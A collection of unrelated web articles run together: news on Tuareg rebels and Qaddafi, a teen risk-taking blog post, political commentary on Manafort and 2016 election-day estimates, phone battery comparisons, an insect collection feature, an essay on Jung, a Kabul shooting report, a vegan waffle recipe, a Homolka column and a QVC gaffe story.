have come back with weapons.” Photo In some ways, the aggressive new Tuareg campaign represents the kind of support the rebels had long sought from Colonel Qaddafi, who for years alternately aided and betrayed the desert warriors, according to a recent study by Mr. Boilley. After the great regional droughts of the 1970s and 1980s, young Tuaregs migrated north to the colonel’s military training camps, to later fight for him in places like Chad, while at the same time destabilizing the governments in Niger and Mali. Libya, with its World Revolutionary Center, where the warlords Charles Taylor of Liberia and Foday Sankoh of Sierra Leone were schooled in Colonel Qaddafi’s doctrines, became the regional matrix of instability. Advertisement Continue reading the main story The center’s mission was to “train volunteers in revolutionary warfare from all over the world,” according to a 1999 book by Stephen Ellis of the African Studies Center, in Leiden, the Netherlands, in keeping with Colonel Qaddafi’s belligerent anti-Western posture. The Libyan training camps under the center’s auspices “became the Harvard and Yale of a whole generation of African revolutionaries,” Mr. Ellis wrote. Mr. Taylor, who is awaiting a verdict after a trial on war crimes charges, recruited his first troops there, leading to years of chaos in Liberia, while Mr. Sankoh’s murderous brigades also had a Libyan genesis, in part. Colonel Qaddafi backed independence movements all over Africa, including a coup attempt in Sudan in 1976, and he supported pariah governments the West shied away from, like the military junta in Gambia in 1994. His most significant African venture was in Chad during the 1980s, when he backed a rebel group against the government, with an eye toward capturing a mineral-rich border area. His surrogates were defeated by Chad’s government in 1987, but Libyan troops did not leave the disputed border strip until 1994. And yet, Mr. Boilley writes, the Tuareg distrusted Colonel Qaddafi, whose rhetorical gestures on their behalf were rarely matched by material support. Now, unwittingly, the picture is different. Outside a villa in Bamako recently, a dozen or more pro-government Tuaregs glumly contemplated the new order of things back home. “When they came into Ménaka, they were yelling, ‘Allahu akbar.’ What does that mean? We don’t do that sort of thing when we fight,” said Bajan Ag Hamatou, a lawmaker from Ménaka. His brother, Aroudeïny Ag Hamatou, the mayor of a small town outside Ménaka, said, “A lot of buildings were destroyed.” Bajan Ag Hamatou angrily blamed the West for having created a mess in his backyard. “The Westerners didn’t want Qaddafi, and they got rid of him, and they created problems for all of us,” he said. “When you chased Qaddafi out in that barbaric fashion, you created 10 more Qaddafis. The whole Saharo-Sahelian region has become unlivable.” -by Marilyn Price-Mitchell, PhD Ability to meet and overcome challenges in ways that maintain or promote well-being. One of the first things you might associate with teenagers is their risk-taking behavior. And most of the time, those associations are negative. Right? That’s because we are deluged with stories of troubled youth whose risk-taking actions got out of hand —sometimes with tragic results. But what if there was a flip-side to youth risk-taking? A side that would make us encourage teenagers to stretch their comfort zones? In a recent article, What Happy People Do Differently, positive psychologists, Robert Biswas-Diener and Todd Kashdan, claim that truly happy people understand “happiness is not just about doing things that you like. It also requires growth and adventuring beyond the boundaries of your comfort zone.” “Curiosity,” they say, “is largely about exploration…the most direct route to becoming stronger and wiser.” A study led by Kashdan and psychologist Michael Steger found that “curious people invest in activities that cause them discomfort as a springboard to higher psychological peaks.” Teens Find Identity through Discomfort In Tomorrow’s Change Makers: Reclaiming the Power of Citizenship for a New Generation, young people, like adults, said they found happiness when they experienced risk-taking. At the peak of their discomfort, students made comments, including: “I crossed barriers in my mind.” “I felt scared.” “I felt liberated.” “What a powerful experience.” “I was way out of my comfort zone.” What risk-taking experiences caused them to make these comments? Were they high on drugs or alcohol? Quite the opposite. These students were describing the positive experience of pushing their psychological boundaries as they participated in a variety of community service activities. Some had come face-to-face with people living in situations very different from their own. Others were doing physical labor that stretched them to new levels of endurance. Several feared failure as they set their sights on unimaginable goals to benefit others. These students came from highly diverse backgrounds. But what they shared in common was a sense of accomplishment and self-esteem that came from learning to solve problems, working with others, and pushing their comfort zones. The bottom line? The students in this study discovered their identities through the process of risk-taking. Simultaneously, they found a path to happiness. The Teen Brain Craves Risk-Taking Much of the research on happiness has been conducted with adults. But what we’ve learned about the teen brain sheds light on their happiness too. Before adolescence, children learn how to fit into society. With parents and teachers as guides, they absorb the norms and unspoken rules of how to behave at home and school. They are like little sponges, soaking up megabytes of information! As children enter their teen years, they begin to merge what they know about society with their psychological selves. They search for their own identities, separate from their parents. Changes to the limbic system of the brain cause teens to seek risk, challenge, and emotional stimulation. While some parents fear this phase of a child’s life, it’s really quite natural. And it’s a time to be embraced as a positive transition to adulthood. Of course, we mostly associate teen risk-taking with drinking, drugs, smoking, and sexual experimentation. But risk-taking is equally associated with positive activities, like mountain climbing, community service, politics, faith groups, and other experiences that can push young people out of their comfort zones and reward them handsomely. Like the teens that were part of my research study, risk-taking can seed happiness, life purpose, and well-being. When young people learn to overcome challenges and meet risk head on, they learn to be resilient. They learn that exploration beyond their comfort zones often leads to unexpected rewards and psychological peaks. They develop courage, curiosity, self-confidence, and persistence. Can we reshape the idea that teen risk-taking is always negative? What positive experiences have you or your teen enjoyed that pushed psychological comfort zones and increased happiness? Photo Credit: Basketman23 Published: July 12, 2013 Share Article: Tags: character strengths -Paul Manafort, back when he was still Trump’s campaign chairman. Drew Angerer/Getty Images The resignation of Paul Manafort Friday morning, just six months after he signed on to Trump’s campaign and two days after the ascension of Breitbart executive Steve Bannon, proves the very thing about Donald Trump we were loath to admit. At a time when Trump is sinking in the polls and seems unable to right the ship, it’s easier than ever, if you are not a Trump supporter, to indulge in a measure of relief. He’s probably not going to be president. But at the same time, the lack of a Trump pivot, his astounding ability to continue to “be himself” even at the cost of his base, means another, complementary truth must be acknowledged: Donald Trump is an incomparable figure, more untamable than even some of the worst people in the world. These two realizations go hand in hand. Had Manafort, a dark mage of political image-making, been successful in reshaping the Trump campaign, we would have declared Trump a clown who got lucky in the primaries and smartly bent a knee to the party apparatus. But it seems the correct view now is that an unstoppably destructive force has, in the span of a year, laid waste not only to the brightest lights of the Republican Party, but to the party’s own best attempt to give him the very thing he’s ostensibly running for. It’s impressive! When Manafort first “volunteered” for the campaign, it was seen as an act of salvation, a professional hand coming on to replace the ramshackle operation run by a dinghy-full of people, one of them being the promptly ousted and now gleefully gloating Corey Lewandowski. Franklin Foer was one of the earliest to sound the alarm bells about Manafort’s evil genius here in Slate, with a frightening portrait of a man who had been a longtime GOP operative, who had crafted the 1984 “Morning in America” convention, and gone on to a lucrative career rehabilitating tyrants and taking money from Russian oligarchs. This was the guy, it seemed, to really be afraid of. This was the guy who was going to take the wildly veering Trump canoe and rebuild it into a wave-chopping tanker of a presidency-winning machine. This, and the growing reports of connections between Manafort and pro-Russian interests, played into the illusion that Trump was a mindless Manchurian candidate of some kind, beholden if not directly to Putin, then to Manafort and his needs, or, opportunistically, to a white nationalist movement. In trying to imagine a convergence of networked interests, we underestimated Trump’s singularity. How wrong we were. Paul Manafort was able to stage-manage Gerald Ford, Ronald Reagan, Bob Dole, Mobutu, Angolan guerrilla fighters, Lebanese arms dealers, and Viktor Yanukovych. But he wasn’t able to reform Donald J. Trump. Through some alchemy of pathological striving, bitterness, narcissism, canniness, force of will, and starter funds, we have ended up with a presidential nominee who, we finally have to accept, is the furthest thing from a joke. Trump is a towering figure in American cultural—and now political—history. Paul Manafort is but a footnote. You’ve won, Donald. Even if you don’t become president, you’ve won. There is nobody like you. There never has been. And with any luck—though luck rarely holds—there never will be. Read more Slate coverage of the 2016 campaign. -Journalists follow the presentation of Huawei's smartphone, the Mate S, ahead of the IFA Electronics show in Berlin, Germany, in this file picture taken September 2, 2015. Journalists follow the presentation of Huawei's smartphone, the Mate S, ahead of the IFA Electronics show in Berlin, Germany, in this file picture taken September 2, 2015. Reuters/Hannibal Hanschke The new Huawei P10 picks up where its predecessor left off the year before. It’s an improvement over the Huawei P9 in nearly every facet, including camera, design and display protection. But when it comes to battery performance, how far off are the two P series siblings? Huawei P9 - Battery specs and features The Huawei P9 is powered by a robust and non-removable 3,000 mAh battery. The P9 has rapid charging support and is able to provide about 40 percent of power in just 30 minutes of plug time using 9V/2A charger. Unfortunately, the handset comes with a regular 5V/2A charging unit, so those who want fast charging will have to purchase the 9V charger separately. During GSMArena’s battery test, the Huawei P9 scored a pretty good rating. The phone battery can endure a few hours north of three days if the user does an hour each of phone calls, web browsing and video playback per day. The P9 has three power modes: Performance, Standard and Ultra Power Saving. The Performance mode goes all out and does not enforce any kind of limit whatsoever on the hardware while the Standard mode supplements an additional couple of hours of use. The Ultra Power Saving keeps the handset going for a significant amount of time. There’s also the ROG power saving option that takes down the native screen resolution to 720p to provide more battery life and extend playing time. Huawei P10 - Battery specs and features Meanwhile, the Huawei P10 houses a 3,200 mAh battery, sealed just like its predecessor. The bundled charger is strapping, tough enough to churn out 5V/4.5A, 4.5V/5A and 5V/2A. P10 owners have to use the handset’s charger and USB cable together in order to fully take advantage of the numbers, though, as the charging speeds considerably drop off when another cable is used. The P10 is able to provide about 55 percent of battery life in just 30 minutes of plug time using the bundled charging accessories. Although the new P series smartphone has a slightly more powerful cell than its older brother, it provides roughly the same performance as the P9. Huawei P9 vs Huawei P10 – Battery performance test When TechRadar pitted the P9 and the P10 against each other in a series of rigorous battery performance tests that involved an hour and a half each of web browsing, gaming, YouTube playback and native video playback, the P10 came out on top. After 90 minutes of web browsing, the P9 had 57 percent remaining battery life while the P10 had 67 percent. Following the YouTube playback test, the older handset’s battery level further stumbled to only 17 percent while the new phone hung on with 38 percent. Both handsets didn’t even get to complete the gaming portion. The Huawei P9 finished with a total performance time of three hours and 20 minutes while the Huawei P10 lasted four hours and 10 minutes. RELATED STORIES: LG G6 vs Apple iPhone 7 camera review and comparison [VIDEO] Apple iPhone 8 / Edition to sport front and back glass, but may scrap Touch ID due to production difficulties -Insect collection worth $100m providing answers to science, technology, agriculture Posted Entomologists at an insect collection in country New South Wales have a party trick they like to play. Visitors are given a pair of 3D glasses and asked to first close one eye and then the other while looking at a tray of small beetles, pinned to the cardboard of a specimen tray. As if by magic, the beetles change from plain brown to vibrant, sparkling gold and green and then back again, as the viewer wearing the glasses closes each eye in turn. The explanation, given by Dr Ainsley Seago, technical manager of the New South Wales Department of Primary Industries (DPI) insect collection, is that the beetles are using a tricky system called "a circulatory polarised multi-layer reflector". "There are number of optical and photonic mechanisms that beetles have evolved that are years ahead of anything humans have created," Dr Seago explained excitedly. The self-described "bug nerd" is part of the intriguing story of the collection, housed at the Orange Agricultural Institute in central west NSW. Collection dates to 1890s The NSW DPI collection, which totals an estimated 650,000 specimens from all over the world, was recently valued at $100 million. Specimens have been obtained through a range of means: from donations by private collectors to the confiscations of illegal insect importations at Australia's ports and airports. There are whole drawers full of ticks taken from humans, dogs, cats, rabbits, rats and just about anything else unfortunate enough to have encountered one of the potentially paralysing parasites. The collection's creepy crawlies are stored in 270 green metal cabinets, housed in a climate-controlled, fire-door-protected room with an overpowering smell of the preservative naphthalene. The collection is large but also significant because it is one of the oldest in Australia, having been started by the-then Department of Agriculture in the 1890s. Peter Gillespie, collections curator at the NSW DPI, said then, as now, the key aim of the collection was to help farmers deal with pests and parasites in their crops and livestock. "Agriculture was the backbone of the country ... but a lot of people didn't know what was here [and] we'd deliberately or inadvertently brought in a number of things that impacted on agricultural production," he said. Earliest specimens The earliest specimens in the collection were gathered from all over the state by keen bug collectors on horseback or using Cobb and Co coaches. One of the most prolific collectors was Walter Wilson Froggatt who travelled to some quite inaccessible places, such as west of Brewarrina in outback NSW. His legacy lives on in the spidery handwriting on the labels attached to the specimens he collected while the state's chief entomologist for about 40 years from the 1890s. Mr Gillespie said as well as setting the foundations for the collection, Froggatt was also an early ecological warrior and was one of the only dissenting voices against the introduction of cane toads into Queensland. Bugs with history and hidden stories Mr Gillespie said the insects in the collection act as a window to the past; for instance, some come from locations once vegetated but which are now all "steel and concrete". "All collections are ultimately a biodiversity inventory; they point to a particular species being there at a place in time and collected by someone or other," Mr Gillespie said. Dr Seago said what fascinated her were the stories behind individual specimens. "I love pulling out a beetle specimen that was collected say, in North Africa in World War II, and I can kind of guess at the story behind that," Dr Seago said. "I think who was this hapless soldier out fighting Nazis in the middle of the desert who saw a beetle and thought 'I've got to have that and take it home' and now it's in our collection." Significance of collection today Insects may not always grab the public's attention, or the research dollar, until it comes to the more aesthetically pleasing specimens, such as the iridescent butterflies. But that does not deter bug fanciers such as Mr Gillespie and Dr Seago who said even the more common-looking insects were making a big difference economically and scientifically for Australia. Mr Gillespie said the collection was a biosecurity and agricultural aid because it could be used to identify an insect and determine whether it was found in a particular area. "We facilitate trade decisions; [for instance if] Australia wants to sell a crop to somewhere in south-east Asia, they want to buy it so long as it's free of diseases X or Y or pest Z," Mr Gillespie said. Dr Seago agreed that not everyone might be as fascinated by bugs as she was, but many saw the value in collecting and studying them. "While people might not look at this little brown beetle and say 'wow, that's exciting', they will say 'what's this thing eating my truffles or my lucerne'," she said. "We have a whole group of growers and industry groups who are very interested in our findings." Work is currently underway at the NSW DPI to increase the amount of information available to the public via a digital database. Topics: invertebrates---insects-and-arachnids, agricultural-crops, community-and-society, regional, science-and-technology, animal-science, library-museum-and-gallery, pests, orange-2800 -Jung's split with Freud in 1913 was costly. He was on his own again, an experience that reminded him of his lonely childhood. He suffered a breakdown that lasted through the years of the first world war. It was a traumatic experience. But it was not simply a collapse. It turned out to be a highly inventive period, one of discovery. He would later say that all his future work originated with this "creative illness". He experienced a succession of episodes during which he vividly encountered the rich and disturbing fantasies of his unconscious. He made a record of what he saw when he descended into this underworld, a record published in 2009 as The Red Book. It is like an illuminated manuscript, a cross between Carroll's Alice in Wonderland and Blake's The Marriage of Heaven and Hell. Its publication sparked massive interest in Jungian circles, rather like what happens in Christian circles when a new first-century codex is discovered. It is of undoubted interest to scholars, in the same way that the notebooks of Leonardo are to art historians. And it is an astonishing work to browse, for its intricacy and imagination. But it is also highly personal, which is presumably why Jung decided against its publication in his own lifetime. So, to turn it into a sacred text, as some appear inclined to do, would be a folly of the kind Jung argued against in the work that followed his recovery from the breakdown. In particular he wrote two pieces, known as the Two Essays, that provide a succinct introduction to his mature work. (He can otherwise be a rambling, elusive writer.) On the Psychology of the Unconscious completes his separation from Freud. He shows how tracing the origins of a personal crisis back to a childhood trauma, as Freud was inclined to do, might well miss the significance of the crisis for the adult patient now. In The Relations between the Ego and the Unconscious, he describes a process whereby a person can pay attention to how their unconscious life manifests itself in their conscious life. It will be a highly personal and tortuous experience. "There is no birth of consciousness without pain," he wrote. But with it, the individual can become more whole. By way of illustration, Jung considers the example of a man whose public image is one of honour and service but who, in the privacy of his home, is prone to moods – so much so that he scares his wife and children. He is leading a double life as public benefactor and domestic tyrant. Jung argues that such a man has identified with his public image and neglected his unconscious life – though it won't be ignored and so comes out, with possibly explosive force, in his relations with his family. The way forward is to pay attention to this inner personality, literally by holding a conversation with himself. He should overcome any embarrassment in doing so and allow each part of himself to talk to the other so that both "partners" can be fully heard. A non-judgmental attitude is critical. If one side judges the other, then the other side actually gains power because it feels wronged, and so justified in its complaints. This is where therapy can help. "The course of therapy is thus rather like a running conversation with the unconscious", Jung writes. And when properly heard, the tensions between the inner and outer personality should subside. The result will be a more honest saint who is a lot easier to live with. Moreover, he will find that he has more energy for life because he will be less at war with himself and those around him. The Red Book, then, can be interpreted as Jung's conversation with his unconscious. The devotee of Jung who reads it as if it were a conversation with their own unconscious diverges from the particular path towards individuation that they themselves must forge. Needless to say, a discussion with the unconscious is not straightforward. If conscious life is not wholly rational, driven as much by emotions and intuitions, then the patterns and instincts of the unconscious are even more buried and obscure. Worse, Jung argues that the modern world has developed a positive fear of the unconscious because it escapes the precise determination, analysis and control promised by modern science. The natural language of the unconscious is not exact like mathematics; it is flexible like mythology. It is at this point that the links between Jungian psychology and religion emerge particularly clearly, because if symbolism and mythology are the natural languages of the unconscious, they are the natural languages of spiritual traditions too. Jung found continual inspiration for his psychology in spiritual writings. The Talmud says that "The dream is its own interpretation." Jung agreed. Heraclitus, influenced by Eastern philosophies, wrote, "Out of discord comes the fairest harmony". Jung adopted this principle of enantiodromia as his own. Further, Jung understood spiritual traditions to be a kind of psychotherapy avant la lettre. (Or to put it the other way round, he thought that psychotherapy emerged in the 19th century precisely because religious systems had begun to fail.) Human beings cannot stand meaninglessness in life, he argued. The decisive question we pursue is whether we are "related to the infinite or not?" Religious traditions provide frameworks within which this question can be approached, not primarily in an empirical or rational sense, but rather in an experiential and practical one. For the Christian, the symbol of Christ represents complete humanity. The Buddha holds the same hope for the Buddhist. "The Christ-symbol is of the greatest importance for psychology in so far as it is perhaps the most highly developed and differentiated symbol of the self, apart from the figure of the Buddha," Jung averred. Further still, he argued that Christ and the Buddha had both experienced their own confrontations with the unconscious, respectively in the stories of the temptations of Jesus and the Mara episode in the Buddha's legend. They are experiences that individuals shouldn't seek to imitate, but might expect and follow. -(Updates with background) By Katharine Houreld KABUL, March 11 (Reuters) - A gunman shot dead a Swedish journalist outside a restaurant in a brazen attack in one Kabul’s most heavily guarded districts on Tuesday, police and embassy sources said, underscoring growing insecurity threatening next month’s elections. The Swedish Embassy identified the victim as Nils Horner, 51, who worked for Swedish Radio and had dual British-Swedish nationality. “Nils was one of our absolute best and most experienced correspondents and what has happened to him today is terrible,” said Swedish Radio’s director-general, Cilla Benkö, who described this as one of the worst days in the corporation’s history. “We are now trying to get as many details as we can.” Horner had been waiting outside a Lebanese restaurant with his driver and translator when two men in Western clothes approached and one shot him at point-blank range in the back of the head, said Zubir, a guard at the restaurant who uses only one name. The guard and a nearby shopkeeper said only one shot was fired. The attack took place barely a minute’s walk from the site of another Lebanese restaurant, where Afghan Taliban fighters killed eight Afghans and 13 foreigners in January. Zabihullah Mujahid, a spokesman for the Taliban, who are seeking to oust foreign forces and set up an Islamic state, said the group was unaware of the attack but would investigate. Hashmatullah Stanekzai, chief spokesman for the Kabul police chief, said Horner’s driver and translator were being questioned but there were no suspects in custody. The neighborhood is home to several embassies, supermarkets and cafes frequented by foreigners. Police vehicles are permanently stationed at a roundabout a block away and the mansions that line the road have guards at each gate. A daytime attack on a civilian walking in that part of the capital is highly unusual. The attack comes as Afghanistan prepares for the withdrawal of NATO forces and landmark presidential elections scheduled for April 5. The Taliban have threatened to attack anyone who takes part. Afghan troops with support from NATO are helping secure the elections. A small contingent of Americans may remain behind if the next government signs a deal to allow them to stay, something President Hamid Karzai has so far refused to do. (Additional reporting by Jessica Donati, Hamid Shalizi and Mirwais Harooni; Editing by Nick Macfie) -Overnight Valve released the Dota 2 Workshop tools, and some people reckon in doing so the company soft-launched the long-awaited Source 2 game engine. "Everything in this package is a new game," wrote RoyAwesome on the Dota 2 subReddit. A reference to Source 2 in the Dota 2 mod tools. "It's all the Dota assets and code ported over to Source 2. That's why Hammer is different. That's why the console is different." Hammer is Valve's map creation program for Source. A video of the new version being messed about with is below. "The general consensus around the Source reverse engineering community is that this is really Source 2," RoyAwesome continued. Valve, which operates on US West Coast time (eight hours behind UK time), is yet to make any announcement around Source 2, but it has been rumoured for some time. Gamer Network's tech wizards tell me Valve may have simply released tools that relate to the Source 2 engine to be used to mod Dota 2, rather than launched the engine proper, but Valve's plan is unclear. We'll have more on Source 2 as the story develops. -Hillary Clinton is leading Donald Trump in seven key battleground states on Election Day 2016, though some races look to be close, according to early, live estimated results from the new election data service VoteCaster. VoteCastr cautions that none of its data constitute “predictions” for who will win any specific state. For an explanation of how VoteCastr compiles voting data throughout election day, well before polls close, see the article by Slate.com senior writer Josh Voorhies at this link. As of 7:15 p.m. Eastern Time, Clinton held leads in both Florida and Ohio — two key states that Trump must win to keep his path to the presidency alive — according to the VoteCastr data, which can be accessed via the online political magazine Slate.com at this link. VoteCastr sees very close races in Iowa, New Hampshire, Nevada, and Ohio https://t.co/YSk7PEglh6 pic.twitter.com/GpiQ3J1HvJ — Josh Levin (@josh_levin) November 8, 2016 With polls just minutes from closings Ohio, VoteCastr sees the race there as neck-and-neck. Clinton has won an estimated 2,534,965 votes, while Trump claims 2,516,534, VoteCastr estimates — a difference of just over 18,000 votes statewide. Using data from all 67 Florida counties, Clinton has turned out an estimated 4,712,021 votes so far, while Trump has collected 4,404,119. VoteCastr also began posting county-level breakdowns for each state in the afternoon. By 5:50 p.m. VoteCastr had taken into account about 94 percent of Florida’s expected turnout, with Clinton holding a 48 percent to 45 percent lead over Trump. See the full interactive map at this link. Clinton’s total, if accurate, would give her more votes in Florida than President Barack Obama won there in 2012. Obama, who won the state, collected 4,161,850 votes to 4,050,540 for Republican Mitt Romney. Sorting the VoteCastr data demographically shows that in “predominantly nonwhite counties” in Florida, Clinton had 1,366,755 votes to 770,485 for Trump, a lead of more than 500,000 votes in the minority-dominated counties. But in mostly white counties, Trump led by roughly 300,000 votes, 3,008,657 to 2,703,849 in the VoteCastr estimates. In Ohio, as of 5:50 p.m., VoteCastr had reported that Clinton had turned out 2,353,327 voters, while Trump trailed by under 22,000 votes in a nail-biting race, with 2,331,714. In fact in the VoteTracker county breakdown, VoteCastr has Trump leading by one point, 46 to 45 in Ohio. Much of Clinton’s total in Ohio comes from the rust-belt state’s heavily populated, urban counties. In Cuyahoga County, where Cleveland is located, Clinton led 62.6 to 30.3 percent over Trump. In Cincinnati’s Hamilton County, the Democrat held a 50 to 40.2 lead according to the VoteCastr estimate. And in Franklin County, home of the city of Columbus, Clinton led Trump 53.8 to 36.5 percent. VoteCastr had accounted for 88.4 percent of the expected turnout in Ohio. Obama won Ohio narrowly in 2012, 50.1 percent to 48.2. In New Hampshire, a state that had moved into the toss-up column thanks to a recent Trump surge in polling there, VoteCastr estimates put Clinton narrowly ahead with 279,140 votes as of 6 p.m. Eastern Time. Trump had collected 258,989 estimated votes. In Colorado, Clinton has so far collected 767,953 votes. Trump’s estimate stands at 722,891 according to VoteCastr data. That’s Clinton with 46.3 percent of the vote to 43.6 for Trump, VoteCastr has calculated. Nevada, a state where early voting results appeared to indicate a close but solid Clinton victory, saw Clinton clinging to an extremely precarious lead with an estimated 473,173 votes to Trump’s 465,706 by VoteCastr by 6 p.m. Eastern Time. But Nevada political expert Jon Ralston saw problems with the VoteCastr results. So Stein on the ballot here (she's not), bizarre Clark numbers and wrong number (off by 150K) of reg voters there. Model probs, @votecastr? — Jon Ralston (@RalstonReports) November 8, 2016 VoteCastr acknowledged, and said it had fixed, the error. Our Nevada results showed Jill Stein with ~1.7. She was in our survey: we messed up and we are correcting the Nevada results accordingly. — VoteCastr (@votecastr) November 8, 2016 However, VoteCastr showed Clinton leading in Clark County, where about 70 percent of Nevada residents reside — and home to Las Vegas — 49.4 to 41.8 percent, a 7.6 point lead. In Pennsylvania, however, the early VoteCastr count did not look nearly as good for Clinton. But by 6 p.m. Eastern she had pulled ahead in the crucial state, albeit about 130,000 votes. But her lead lagged behind Obama’s 2012 performance in the state, mainly due to an unexpectedly soft turnout in Philadelphia County, home to the state’s largest city — and the nation’s fifth-largest. The former Secretary of State had 2,310,013 votes by the VoteCastr estimate. Trump had collected 2,170,963. Clinton is nonetheless expected to win Pennsylvania, with the final Pollster.com polling average showing her leading 46.4 to 41.2, more than a five-point polling advantage. Whose voters are going to the polls? Follow our @VoteCastr Turnout Tracker for the latest estimates: https://t.co/TEojnpFdaW pic.twitter.com/19hsZMVjgQ — Slate (@Slate) November 8, 2016 If the very early VoteCastr count held, Pennsylvania would have gone down as a major polling failure. But with the updated vote count, the Democratic candidate appears to be on her way to a close but comfortable victory in the state. After a strong start for Trump in Iowa — where he was leading by nine points in the final Survey Monkey poll released on the morning of election day, Clinton had pulled ahead by 6 p.m. Eastern Time, according to VoteCastr estimates. Clinton had 614,338 votes to Trump’s 599,045, in VoteCastr estimates. But Iowa was another state where VoteCastr sees a disparity between vote totals and the percentages in its county-level breakdowns, as seen in the map at this link. Trump was leading by a point in Iowa in the county-level iteration of VoteCastr numbers, 46-45, with about 76 percent of the vote account for. Clinton took an estimated 614,338 votes in Iowa, with Trump at 599,045 by 6 p.m. Eastern according to the estimated vote totals. In a state where polling showed Clinton on her way to an easy victory, Wisconsin, VoteCastr results appear to bear out the polling prediction. Clinton had built a lead of more than 163,000 votes at 1,242,938 to 1,079,266 for Trump as of 6 p.m. The live election day VoteCastr results are available from Slate.com at this link. VoteCastr data will also be announced and analyzed as it comes in to the “War Room” at Vice.com, in the live stream video at the top of this page. By compiling and posting live estimated election day results before polls close, VoteCastr is breaking with a longstanding tradition in the media, in which news organizations stick to a kind of gentleman’s agreement that they will not publish or broadcast results until after polls close across the United States. “The posture the media have collectively adopted on Election Day is paternalistic toward voters and puts journalists in the awkward and unfamiliar position of concealing information from their readers,” wrote Slate.com Editor-in-Chief Julia Turner, explaining why Slate and VoteCastr are taking the controversial step of making information on voting results public throughout election day. “It’s also unsupported by social science. The news blackout that usually prevails is premised on the idea that publishing information about voter behavior may depress turnout. But such fears are unsupported by research. Academics examining the question have found no consistent effects on voter behavior. Which means that journalists are withholding information on a hunch,” Turner wrote. This post will be updated with more details, as well as further data as soon as it becomes available. -Simple and Easy Vegan Waffles |Serves 3-4| Ingredients 1 cup whole wheat flour 1 Tbsp ground flaxseed 2 tsp baking powder 1 Tbsp sugar (turbinado, coconut sugar, or maple syrup) pinch of salt 1 Tbsp oil 1 cup almond milk Instructions Preheat waffle iron to your desired setting (we like ours more crispy). In a large bowl, combine dry ingredients (flour, flaxseed, baking powder, sugar, salt). In a small bowl, whisk together wet ingredients (oil, almond milk). Pour wet ingredients in dry ingredients and stir until just combined. Do not over stir! Pour batter onto waffle iron (I use about 1/4 - 1/3 cup) and cook until golden brown. Enjoy! Notes *I always double this recipe and freeze any leftovers to use for quick breakfasts when I'm in a hurry. *This recipe is designed for traditional waffle irons, not Belgian waffle irons. xoxo, Lauren -Last Thursday, a reporter with La Presse caught Thierry Bordelais outside of his Chateauguay home and asked him what he made of his neighbours’ concerns about his family taking up residence in the Montreal suburb. “If they are worried, all they have to do is move,” Bordelais said, visibly irritated according to La Presse. “We’re free, we’re in a free country.” “Has anything happened over the past 10 years?” he continued. “So why are they worried? I don’t see why they are worried.” One would expect the same sort of exasperated defence by a husband of his wife if, say, she downed a bottle of schnapps at the last neighbourhood barbecue and started uncouthly hitting on someone’s teenage son. But Bordelais’ wife, Karla Homolka (or Leanne Teale as she is now known) did a little bit more than embarrass herself in front of the neighbours when she helped her former husband, Paul Bernardo, drug and rape her own teenage sister and participate in the rape and murder of at least two other girls. Indeed, I think Bordelais’ neighbours can be forgiven if they’re not entirely over that yet. What was striking in the exchange between Bordelais and La Presse was not merely its tone-deafness, however, but just how utterly normal it all seemed: Here was a guy, returning home to his wife and three kids, pissed off to find reporters waiting for him in his driveway. Eventually he would go inside, maybe get something to eat, talk to his kids about their days and go to sleep beside one of the most reviled serial killers in Canadian history. Just like he had done every day for the past seven years. It’s not unusual to hear of violent criminals attracting the attention of “serial killer groupies,” as they are colloquially called, or what is classified by psychology texts as those with “hybristophilia,” a sexual attraction to people who have committed violent crimes. Hybristophilia tends to affect more women than men and, according to at least one school of thought, can be explained as a consequence of a woman’s evolutionary drive to seek out a partner who can physically protect her offspring. Female admirers have reached out to notorious serial killers such as Ted Bundy, Charles Manson and Richard Ramirez and, so too, have some male admirers, including one who recently propositioned Rohinie Bisesar, the 40-year-old woman accused in the stabbing death in Toronto’s underground PATH system last year. Despite this particular psychological explanation, some “serial killer groupies” claim that their attraction to certain criminals is bred not because of his or her violent past, but despite it. In a documentary TV series produced and directed by Errol Morris, true crime writer Sondra London adopts that position in attempting to explain her attraction to the “Gainesville Ripper” Danny Rolling, with whom she had a relationship while he was behind bars. When pressed by the interviewer about why she’s attracted to serial killers, London shoots back, saying, flatly: “That’s a lame question.” But when asked “Why the attraction to Danny Rolling?” she responds: “That’s different” and goes on to describe Rolling’s many endearing qualities, as if she was talking about any normal guy who didn’t happen to tape his victims’ mouths shut, stab them until they bled to death and mutilate their corpses. [np_storybar title=”Read & Debate” link=””] Find Full Comment on Facebook [/np_storybar] There is no answer as to whether the greater aberrant mind is one that’s attracted to a violent murderer or one that can separate a person from his or her murderous acts. And, indeed, in the case of Thierry Bordelais and Karla Homolka, it’s impossible to say whether their relationship was borne from a hybristophilia-type of attraction or a phenomenal ability on the part of Bordelais to see the new “Leanne Teale” as a woman distinct from “Karla Homolka” — mostly because all the public really knows of the courtship is that the pair was connected through his sister Sylvie Bordelais, who was Homolka’s lawyer. Plenty of observers have remarked that one of the great tragedies of the Homolka story will come when her children realize that their mother committed some of the most horrific acts humans can do to one another. But it’s worse than that; since once that initial shock has worn off (if such a thing is possible) those kids will inevitably start thinking of their father, and wonder just what’s wrong with him that he could fall in love, and marry, a monster. There’s no comfort in mom or dad. National Post • Email: rurback@nationalpost.com | Twitter: robynurback -THEY spend hours wearing orange makeup and rigid smiles, trying to sell over-hyped items to viewers. But would you buy from someone who doesn’t know the Moon is a moon? An unbelievable video has emerged showing two hosts from US shopping channel QVC discussing what the moon could be. Showing off a hideous patterned cardigan, Jane Treacy says: “It kind of looks like what the Earth looks like when you’re a bazillion miles away from the planet Moon.” Her co-host, designer Isaac Mizrahi, chimes in, thoughtfully. “The planet Moon...” Realising her mistake, Ms Treacy tries again. “Isn’t the Moon a star?” “The Moon is a planet, darling,” Mr Mizrahi corrects her. But she’s sharper than that. “Is the Moon really a planet?” she demands. “Don’t look at me like that. The Sun is a star ... Is the Sun not a star?” Mr Mizrahi replies: “I don’t know what the Sun is.” They get into an argument, with Ms Treacy insisting the Moon is not a planet, and both pleading with viewers to Google the answer. “So what else is it?” Mr Mizrahi asks, stumped. “I believe it’s a star ... or something,” Ms Treacy answers. Looking a little sheepish, she adds: “I feel like sometimes, though I am educated, I expose in this show that this blonde could be real.” Viewers of the clip on YouTube were incredulous. “This should serve as inspiration,” wrote Troy. “The man who believes the Moon is a planet ‘that things live on’ is a millionaire who was a household name in the 90s for his eponymous fashion line. If he can do it, we all can.” YouTube user paddles409 added: “The moon is a hollow, artificial satellite inhabited by giant, superior, hyperintelligent, ants. Hail Ants!” MrJohn2010 was more despairing, calling it a “shameful display of scientific illiteracy”. For all the QVC hosts still confused: the Moon is a moon, a natural satellite that orbits a planet — in this case, Earth. Its weak atmosphere and lack of water cannot support life as we know it. The Moon has no moons. 